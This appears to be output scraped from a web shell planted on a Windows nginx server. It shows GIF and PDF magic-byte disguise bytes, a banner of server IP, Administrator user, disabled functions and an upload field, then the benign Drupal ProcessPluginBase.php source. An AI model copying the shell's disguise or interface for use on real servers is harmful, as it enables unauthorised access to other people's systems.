GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/migrate/src/ |
Upload File : |
<?php namespace Drupal\migrate; use Drupal\Core\Plugin\PluginBase; use Drupal\migrate\Plugin\MigrateProcessInterface; /** * The base class for all migrate process plugins. * * Migrate process plugins are taking a value and transform them. For example, * transform a human provided name into a machine name, look up an identifier * in a previous migration and so on. * * @see https://www.drupal.org/node/2129651 * @see \Drupal\migrate\Plugin\MigratePluginManager * @see \Drupal\migrate\Plugin\MigrateProcessInterface * @see \Drupal\migrate\Annotation\MigrateProcessPlugin * @see plugin_api * * @ingroup migration */ abstract class ProcessPluginBase extends PluginBase implements MigrateProcessInterface { /** * {@inheritdoc} */ public function transform($value, MigrateExecutableInterface $migrate_executable, Row $row, $destination_property) { // Do not call this method from children. if (isset($this->configuration['method'])) { if (method_exists($this, $this->configuration['method'])) { return $this->{$this->configuration['method']}($value, $migrate_executable, $row, $destination_property); } throw new \BadMethodCallException(sprintf('The %s method does not exist in the %s plugin.', $this->configuration['method'], $this->pluginId)); } else { throw new \BadMethodCallException(sprintf('The "method" key in the plugin configuration must to be set for the %s plugin.', $this->pluginId)); } } /** * {@inheritdoc} */ public function multiple() { return FALSE; } }